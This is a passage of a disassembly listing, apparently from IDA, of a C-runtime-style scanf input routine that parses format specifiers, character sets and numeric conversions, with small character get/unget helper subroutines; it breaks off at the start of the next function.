-14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_420F16 mov edi, [ebp+arg_0] jmp short loc_42053F ; --------------------------------------------------------------------------- loc_42053A: ; CODE XREF: sub_420510+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_42053F: ; CODE XREF: sub_420510+28j cmp dword_43CBB4, 1 jle short loc_420557 movzx eax, al push 8 push eax call sub_41F515 pop ecx pop ecx jmp short loc_420566 ; --------------------------------------------------------------------------- loc_420557: ; CODE XREF: sub_420510+36j mov ecx, off_43C9A8 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_420566: ; CODE XREF: sub_420510+45j cmp eax, ebx jz short loc_4205A0 dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_420F9D pop ecx pop ecx push eax call sub_420F86 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41D670 add esp, 0Ch loc_42058E: ; CODE XREF: sub_420510+8Ej test eax, eax jz short loc_4205A0 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41D670 pop ecx jmp short loc_42058E ; --------------------------------------------------------------------------- loc_4205A0: ; CODE XREF: sub_420510+58j ; sub_420510+80j cmp byte ptr [esi], 25h jnz loc_420E82 and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_4205D7: ; CODE XREF: sub_420510+172j movzx ebx, byte ptr [esi+1] inc esi cmp dword_43CBB4, 1 jle short loc_4205F4 movzx eax, bl push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_420603 ; --------------------------------------------------------------------------- loc_4205F4: ; CODE XREF: sub_420510+D3j mov ecx, off_43C9A8 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_420603: ; CODE XREF: sub_420510+E2j test eax, eax jz short loc_420619 mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420619: ; CODE XREF: sub_420510+F5j cmp ebx, 4Eh jg short loc_42065C jz short loc_42067E cmp ebx, 2Ah jz short loc_420657 cmp ebx, 46h jz short loc_42067E cmp ebx, 49h jz short loc_420639 cmp ebx, 4Ch jnz short loc_42066B inc [ebp+var_D] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420639: ; CODE XREF: sub_420510+11Dj cmp byte ptr [esi+1], 36h jnz short loc_42066B cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_42066B inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420657: ; CODE XREF: sub_420510+113j inc [ebp+var_E] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_42065C: ; CODE XREF: sub_420510+10Cj cmp ebx, 68h jz short loc_420678 cmp ebx, 6Ch jz short loc_420670 cmp ebx, 77h jz short loc_420673 loc_42066B: ; CODE XREF: sub_420510+122j ; sub_420510+12Dj ... inc [ebp+var_F] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420670: ; CODE XREF: sub_420510+154j inc [ebp+var_D] loc_420673: ; CODE XREF: sub_420510+159j inc [ebp+var_5] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420678: ; CODE XREF: sub_420510+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_42067E: ; CODE XREF: sub_420510+107j ; sub_420510+10Ej ... cmp [ebp+var_F], 0 jz loc_4205D7 cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_4206A3 mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_4206A3: ; CODE XREF: sub_420510+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_4206C1 mov al, [esi] cmp al, 53h jz short loc_4206BD cmp al, 43h jz short loc_4206BD or [ebp+var_5], 0FFh jmp short loc_4206C1 ; --------------------------------------------------------------------------- loc_4206BD: ; CODE XREF: sub_420510+1A1j ; sub_420510+1A5j mov [ebp+var_5], 1 loc_4206C1: ; CODE XREF: sub_420510+19Bj ; sub_420510+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_4206FA cmp esi, 63h jz short loc_4206EB cmp esi, 7Bh jz short loc_4206EB push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_420F9D pop ecx jmp short loc_4206F6 ; --------------------------------------------------------------------------- loc_4206EB: ; CODE XREF: sub_420510+1C5j ; sub_420510+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C loc_4206F6: ; CODE XREF: sub_420510+1D9j pop ecx mov [ebp+var_14], eax loc_4206FA: ; CODE XREF: sub_420510+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_42070A cmp [ebp+var_C], eax jz loc_420EE6 loc_42070A: ; CODE XREF: sub_420510+1EFj cmp esi, 6Fh jg loc_420971 jz loc_420C23 cmp esi, 63h jz loc_42094E cmp esi, 64h jz loc_420C23 jle loc_42099B cmp esi, 67h jle short loc_42076E cmp esi, 69h jz short loc_420756 cmp esi, 6Eh jnz loc_42099B cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_420E51 jmp loc_420E77 ; --------------------------------------------------------------------------- loc_420756: ; CODE XREF: sub_420510+229j push 64h pop esi loc_420759: ; CODE XREF: sub_420510+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_4209E3 mov [ebp+var_17], 1 jmp loc_4209E8 ; --------------------------------------------------------------------------- loc_42076E: ; CODE XREF: sub_420510+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_42078A mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_42078F ; --------------------------------------------------------------------------- loc_42078A: ; CODE XREF: sub_420510+26Aj cmp ebx, 2Bh jnz short loc_4207A6 loc_42078F: ; CODE XREF: sub_420510+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4207A9 ; --------------------------------------------------------------------------- loc_4207A6: ; CODE XREF: sub_420510+27Dj mov edi, [ebp+arg_0] loc_4207A9: ; CODE XREF: sub_420510+294j cmp [ebp+var_20], 0 jz short loc_4207B8 cmp [ebp+var_C], 15Dh jle short loc_4207BF loc_4207B8: ; CODE XREF: sub_420510+29Dj mov [ebp+var_C], 15Dh loc_4207BF: ; CODE XREF: sub_420510+2A6j ; sub_420510+2F2j cmp dword_43CBB4, 1 jle short loc_4207D4 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_4207DF ; --------------------------------------------------------------------------- loc_4207D4: ; CODE XREF: sub_420510+2B6j mov eax, off_43C9A8 mov al, [eax+ebx*2] and eax, 4 loc_4207DF: ; CODE XREF: sub_420510+2C2j test eax, eax jz short loc_420804 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420804 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4207BF ; --------------------------------------------------------------------------- loc_420804: ; CODE XREF: sub_420510+2D1j ; sub_420510+2DBj cmp byte_43CBB8, bl jnz short loc_420872 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420872 inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax mov al, byte_43CBB8 mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_42082D: ; CODE XREF: sub_420510+360j cmp dword_43CBB4, 1 jle short loc_420842 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_42084D ; --------------------------------------------------------------------------- loc_420842: ; CODE XREF: sub_420510+324j mov eax, off_43C9A8 mov al, [eax+ebx*2] and eax, 4 loc_42084D: ; CODE XREF: sub_420510+330j test eax, eax jz short loc_420872 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420872 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_42082D ; --------------------------------------------------------------------------- loc_420872: ; CODE XREF: sub_420510+2FAj ; sub_420510+304j ... cmp [ebp+var_1C], 0 jz loc_42090A cmp ebx, 65h jz short loc_42088A cmp ebx, 45h jnz loc_42090A loc_42088A: ; CODE XREF: sub_420510+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_42090A mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_4208B1 mov [esi], al inc esi jmp short loc_4208B6 ; --------------------------------------------------------------------------- loc_4208B1: ; CODE XREF: sub_420510+39Aj cmp ebx, 2Bh jnz short loc_4208D4 loc_4208B6: ; CODE XREF: sub_420510+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_4208C5 and [ebp+var_C], eax jmp short loc_4208D4 ; --------------------------------------------------------------------------- loc_4208C5: ; CODE XREF: sub_420510+3AEj ; sub_420510+3F8j inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_4208D4: ; CODE XREF: sub_420510+3A4j ; sub_420510+3B3j cmp dword_43CBB4, 1 jle short loc_4208E9 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_4208F4 ; --------------------------------------------------------------------------- loc_4208E9: ; CODE XREF: sub_420510+3CBj mov eax, off_43C9A8 mov al, [eax+ebx*2] and eax, 4 loc_4208F4: ; CODE XREF: sub_420510+3D7j test eax, eax jz short loc_42090A mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_42090A inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_4208C5 ; --------------------------------------------------------------------------- loc_42090A: ; CODE XREF: sub_420510+366j ; sub_420510+374j ... dec [ebp+var_4] push edi push ebx call sub_420F86 cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_420F16 cmp [ebp+var_E], 0 jnz loc_420E77 inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call off_43CF58 add esp, 0Ch jmp loc_420E77 ; --------------------------------------------------------------------------- loc_42094E: ; CODE XREF: sub_420510+20Cj cmp [ebp+var_20], eax jnz short loc_42095D inc [ebp+var_C] mov [ebp+var_20], 1 loc_42095D: ; CODE XREF: sub_420510+441j cmp [ebp+var_5], 0 jle short loc_420967 mov [ebp+var_16], 1 loc_420967: ; CODE XREF: sub_420510+451j mov edi, offset dword_43CE30 jmp loc_420A7C ; --------------------------------------------------------------------------- loc_420971: ; CODE XREF: sub_420510+1FDj mov eax, esi sub eax, 70h jz loc_420C1F sub eax, 3 jz loc_420A6D dec eax dec eax jz loc_420C23 sub eax, 3 jz loc_420759 sub eax, 3 jz short loc_4209BF loc_42099B: ; CODE XREF: sub_420510+21Bj ; sub_420510+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_420EE6 dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_420E77 mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_420E77 ; --------------------------------------------------------------------------- loc_4209BF: ; CODE XREF: sub_420510+489j cmp [ebp+var_5], 0 jle short loc_4209C9 mov [ebp+var_16], 1 loc_4209C9: ; CODE XREF: sub_420510+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_420A80 mov eax, edi lea edi, [eax+1] jmp loc_420A7C ; --------------------------------------------------------------------------- loc_4209E3: ; CODE XREF: sub_420510+24Fj cmp ebx, 2Bh jnz short loc_420A0A loc_4209E8: ; CODE XREF: sub_420510+259j dec [ebp+var_C] jnz short loc_4209F9 cmp [ebp+var_20], 0 jz short loc_4209F9 mov [ebp+var_F], 1 jmp short loc_420A0A ; --------------------------------------------------------------------------- loc_4209F9: ; CODE XREF: sub_420510+4DBj ; sub_420510+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_420A0A: ; CODE XREF: sub_420510+4D6j ; sub_420510+4E7j cmp ebx, 30h jnz loc_420C58 push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_420A58 cmp bl, 58h jz short loc_420A58 cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_420A42 push 6Fh loc_420A3C: ; CODE XREF: sub_420510+55Bj pop esi jmp loc_420C58 ; --------------------------------------------------------------------------- loc_420A42: ; CODE XREF: sub_420510+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420F86 pop ecx pop ecx push 30h pop ebx jmp loc_420C55 ; --------------------------------------------------------------------------- loc_420A58: ; CODE XREF: sub_420510+517j ; sub_420510+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_420A3C ; --------------------------------------------------------------------------- loc_420A6D: ; CODE XREF: sub_420510+46Fj cmp [ebp+var_5], 0 jle short loc_420A77 mov [ebp+var_16], 1 loc_420A77: ; CODE XREF: sub_420510+561j mov edi, offset dword_43CE28 loc_420A7C: ; CODE XREF: sub_420510+45Cj ; sub_420510+4CEj or [ebp+var_18], 0FFh loc_420A80: ; CODE XREF: sub_420510+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_41B590 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_420AA4 cmp byte ptr [edi], 5Dh jnz short loc_420AA4 mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_420AA7 ; --------------------------------------------------------------------------- loc_420AA4: ; CODE XREF: sub_420510+584j ; sub_420510+589j mov dl, [ebp+var_35] loc_420AA7: ; CODE XREF: sub_420510+592j ; sub_420510+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_420B0C inc edi cmp al, 2Dh jnz short loc_420AF3 test dl, dl jz short loc_420AF3 mov cl, [edi] cmp cl, 5Dh jz short loc_420AF3 inc edi cmp dl, cl jnb short loc_420AC6 mov al, cl jmp short loc_420ACA ; --------------------------------------------------------------------------- loc_420AC6: ; CODE XREF: sub_420510+5B0j mov al, dl mov dl, cl loc_420ACA: ; CODE XREF: sub_420510+5B4j cmp dl, al ja short loc_420AEF movzx edx, dl movzx esi, al sub esi, edx inc esi loc_420AD7: ; CODE XREF: sub_420510+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_420AD7 loc_420AEF: ; CODE XREF: sub_420510+5BCj xor dl, dl jmp short loc_420AA7 ; --------------------------------------------------------------------------- loc_420AF3: ; CODE XREF: sub_420510+5A0j ; sub_420510+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_420AA7 ; --------------------------------------------------------------------------- loc_420B0C: ; CODE XREF: sub_420510+59Bj cmp byte ptr [edi], 0 jz loc_420F16 cmp [ebp+var_3C], 7Bh jnz short loc_420B1E mov [ebp+arg_4], edi loc_420B1E: ; CODE XREF: sub_420510+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_420F86 pop ecx pop ecx loc_420B35: ; CODE XREF: sub_420510+6BCj ; sub_420510+6C4j cmp [ebp+var_20], 0 jz short loc_420B49 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_420BE5 loc_420B49: ; CODE XREF: sub_420510+629j inc [ebp+var_4] push edi call sub_420F6C cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_420BD9 mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_420BD9 cmp [ebp+var_E], 0 jnz short loc_420BD1 cmp [ebp+var_16], 0 jz short loc_420BC6 mov ecx, off_43C9A8 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_420BA5 inc [ebp+var_4] push edi call sub_420F6C pop ecx mov [ebp+var_37], al loc_420BA5: ; CODE XREF: sub_420510+686j push dword_43CBB4 lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_423EC3 mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_420BC9 ; --------------------------------------------------------------------------- loc_420BC6: ; CODE XREF: sub_420510+673j mov [esi], al inc esi loc_420BC9: ; CODE XREF: sub_420510+6B4j mov [ebp+var_2C], esi jmp loc_420B35 ; --------------------------------------------------------------------------- loc_420BD1: ; CODE XREF: sub_420510+66Dj inc [ebp+var_30] jmp loc_420B35 ; --------------------------------------------------------------------------- loc_420BD9: ; CODE XREF: sub_420510+649j ; sub_420510+667j dec [ebp+var_4] push edi push eax call sub_420F86 pop ecx pop ecx loc_420BE5: ; CODE XREF: sub_420510+633j cmp [ebp+var_30], esi jz loc_420F16 cmp [ebp+var_E], 0 jnz loc_420E77 inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_420E77 cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_420C17 and word ptr [eax], 0 jmp loc_420E77 ; --------------------------------------------------------------------------- loc_420C17: ; CODE XREF: sub_420510+6FCj and byte ptr [eax], 0 jmp loc_420E77 ; --------------------------------------------------------------------------- loc_420C1F: ; CODE XREF: sub_420510+466j mov [ebp+var_D], 1 loc_420C23: ; CODE XREF: sub_420510+203j ; sub_420510+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_420C31 mov [ebp+var_17], 1 jmp short loc_420C36 ; --------------------------------------------------------------------------- loc_420C31: ; CODE XREF: sub_420510+719j cmp ebx, 2Bh jnz short loc_420C58 loc_420C36: ; CODE XREF: sub_420510+71Fj dec [ebp+var_C] jnz short loc_420C47 cmp [ebp+var_20], 0 jz short loc_420C47 mov [ebp+var_F], 1 jmp short loc_420C58 ; --------------------------------------------------------------------------- loc_420C47: ; CODE XREF: sub_420510+729j ; sub_420510+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C pop ecx mov ebx, eax loc_420C55: ; CODE XREF: sub_420510+543j mov [ebp+var_14], ebx loc_420C58: ; CODE XREF: sub_420510+4FDj ; sub_420510+52Dj ... cmp [ebp+var_30], 0 jz loc_420D71 cmp [ebp+var_F], 0 jnz loc_420D4F loc_420C6C: ; CODE XREF: sub_420510+82Cj cmp esi, 78h jnz short loc_420CC0 cmp dword_43CBB4, 1 jle short loc_420C89 push 80h push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420C96 ; --------------------------------------------------------------------------- loc_420C89: ; CODE XREF: sub_420510+768j mov eax, off_43C9A8 mov al, [eax+ebx*2] and eax, 80h loc_420C96: ; CODE XREF: sub_420510+777j test eax, eax jz loc_420D41 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_423F90 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_420F35 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_420D13 ; --------------------------------------------------------------------------- loc_420CC0: ; CODE XREF: sub_420510+75Fj cmp dword_43CBB4, 1 jle short loc_420CD5 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420CE0 ; --------------------------------------------------------------------------- loc_420CD5: ; CODE XREF: sub_420510+7B7j mov eax, off_43C9A8 mov al, [eax+ebx*2] and eax, 4 loc_420CE0: ; CODE XREF: sub_420510+7C3j test eax, eax jz short loc_420D41 cmp esi, 6Fh jnz short loc_420CFE cmp ebx, 38h jge short loc_420D41 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_423F90 jmp short loc_420D0D ; --------------------------------------------------------------------------- loc_420CFE: ; CODE XREF: sub_420510+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_41D280 loc_420D0D: ; CODE XREF: sub_420510+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_420D13: ; CODE XREF: sub_420510+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_420D2B dec [ebp+var_C] jz short loc_420D4F loc_420D2B: ; CODE XREF: sub_420510+814j push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_420C6C ; --------------------------------------------------------------------------- loc_420D41: ; CODE XREF: sub_420510+788j ; sub_420510+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420F86 pop ecx pop ecx loc_420D4F: ; CODE XREF: sub_420510+756j ; sub_420510+819j cmp [ebp+var_17], 0 jz loc_420E35 mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_420E35 ; --------------------------------------------------------------------------- loc_420D71: ; CODE XREF: sub_420510+74Cj cmp [ebp+var_F], 0 jnz loc_420E2D loc_420D7B: ; CODE XREF: sub_420510+90Aj cmp esi, 78h jz short loc_420DBF cmp esi, 70h jz short loc_420DBF cmp dword_43CBB4, 1 jle short loc_420D9A push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420DA5 ; --------------------------------------------------------------------------- loc_420D9A: ; CODE XREF: sub_420510+87Cj mov eax, off_43C9A8 mov al, [eax+ebx*2] and eax, 4 loc_420DA5: ; CODE XREF: sub_420510+888j test eax, eax jz short loc_420E1F cmp esi, 6Fh jnz short loc_420DB8 cmp ebx, 38h jge short loc_420E1F shl edi, 3 jmp short loc_420DF7 ; --------------------------------------------------------------------------- loc_420DB8: ; CODE XREF: sub_420510+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_420DF7 ; --------------------------------------------------------------------------- loc_420DBF: ; CODE XREF: sub_420510+86Ej ; sub_420510+873j cmp dword_43CBB4, 1 jle short loc_420DD7 push 80h push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420DE4 ; --------------------------------------------------------------------------- loc_420DD7: ; CODE XREF: sub_420510+8B6j mov eax, off_43C9A8 mov al, [eax+ebx*2] and eax, 80h loc_420DE4: ; CODE XREF: sub_420510+8C5j test eax, eax jz short loc_420E1F push ebx shl edi, 4 call sub_420F35 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_420DF7: ; CODE XREF: sub_420510+8A6j ; sub_420510+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_420E09 dec [ebp+var_C] jz short loc_420E2D loc_420E09: ; CODE XREF: sub_420510+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_420D7B ; --------------------------------------------------------------------------- loc_420E1F: ; CODE XREF: sub_420510+897j ; sub_420510+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420F86 pop ecx pop ecx loc_420E2D: ; CODE XREF: sub_420510+865j ; sub_420510+8F7j cmp [ebp+var_17], 0 jz short loc_420E35 neg edi loc_420E35: ; CODE XREF: sub_420510+843j ; sub_420510+85Cj ... cmp esi, 46h jnz short loc_420E3E and [ebp+var_1C], 0 loc_420E3E: ; CODE XREF: sub_420510+928j cmp [ebp+var_1C], 0 jz loc_420F16 cmp [ebp+var_E], 0 jnz short loc_420E77 inc [ebp+var_34] loc_420E51: ; CODE XREF: sub_420510+23Bj cmp [ebp+var_30], 0 jz short loc_420E67 mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_420E77 ; --------------------------------------------------------------------------- loc_420E67: ; CODE XREF: sub_420510+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_420E74 mov [eax], edi jmp short loc_420E77 ; --------------------------------------------------------------------------- loc_420E74: ; CODE XREF: sub_420510+95Ej mov [eax], di loc_420E77: ; CODE XREF: sub_420510+241j ; sub_420510+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_420EC4 ; --------------------------------------------------------------------------- loc_420E82: ; CODE XREF: sub_420510+93j inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_420EF1 mov ecx, off_43C9A8 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_420EC4 inc [ebp+var_4] push edi call sub_420F6C pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_420EFF dec [ebp+var_4] loc_420EC4: ; CODE XREF: sub_420510+970j ; sub_420510+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_420EDA cmp byte ptr [esi], 25h jnz short loc_420F1C mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_420F1C mov esi, eax loc_420EDA: ; CODE XREF: sub_420510+9B8j mov al, [esi] test al, al jnz loc_42053A jmp short loc_420F16 ; --------------------------------------------------------------------------- loc_420EE6: ; CODE XREF: sub_420510+1F4j ; sub_420510+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_420EF6 ; --------------------------------------------------------------------------- loc_420EF1: ; CODE XREF: sub_420510+98Aj dec [ebp+var_4] push edi push ebx loc_420EF6: ; CODE XREF: sub_420510+9DFj call sub_420F86 pop ecx pop ecx jmp short loc_420F16 ; --------------------------------------------------------------------------- loc_420EFF: ; CODE XREF: sub_420510+9AFj dec [ebp+var_4] push edi push eax call sub_420F86 dec [ebp+var_4] push edi push ebx call sub_420F86 add esp, 10h loc_420F16: ; CODE XREF: sub_420510+1Fj ; sub_420510+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_420F2D loc_420F1C: ; CODE XREF: sub_420510+9BDj ; sub_420510+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_420F30 cmp [ebp+var_15], al jnz short loc_420F30 or eax, 0FFFFFFFFh jmp short loc_420F30 ; --------------------------------------------------------------------------- loc_420F2D: ; CODE XREF: sub_420510+A0Aj mov eax, [ebp+var_34] loc_420F30: ; CODE XREF: sub_420510+A11j ; sub_420510+A16j ... pop edi pop esi pop ebx leave retn sub_420510 endp ; =============== S U B R O U T I N E ======================================= sub_420F35 proc near ; CODE XREF: sub_420510+7A3p ; sub_420510+8DCp arg_0 = dword ptr 4 cmp dword_43CBB4, 1 push esi jle short loc_420F4F mov esi, [esp+4+arg_0] push 4 push esi call sub_41F515 pop ecx pop ecx jmp short loc_420F5E ; --------------------------------------------------------------------------- loc_420F4F: ; CODE XREF: sub_420F35+8j mov esi, [esp+4+arg_0] mov eax, off_43C9A8 mov al, [eax+esi*2] and eax, 4 loc_420F5E: ; CODE XREF: sub_420F35+18j test eax, eax jnz short loc_420F68 and esi, 0FFFFFFDFh sub esi, 7 loc_420F68: ; CODE XREF: sub_420F35+2Bj mov eax, esi pop esi retn sub_420F35 endp ; =============== S U B R O U T I N E ======================================= sub_420F6C proc near ; CODE XREF: sub_420510+1E1p ; sub_420510+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_420F7E mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_420F7E: ; CODE XREF: sub_420F6C+7j push edx call sub_41F043 pop ecx retn sub_420F6C endp ; =============== S U B R O U T I N E ======================================= sub_420F86 proc near ; CODE XREF: sub_420510+6Bp ; sub_420510+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_420F9C push [esp+arg_4] push [esp+4+arg_0] call sub_423FAF pop ecx pop ecx locret_420F9C: ; CODE XREF: sub_420F86+5j retn sub_420F86 endp ; =============== S U B R O U T I N E ======================================= sub_420F9D proc near ; CODE XREF: sub_420510+63p ; sub_420510+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi loc_420FA3: ; CODE XREF: sub_420F9D+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_420F6C mov edi, eax push edi call sub_41D670 pop ecx test eax, eax pop ecx jnz short loc_420FA3 mov eax, edi pop edi pop esi retn sub_420F9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_420FC1(int,int,double,int) sub_420FC1 proc near ; 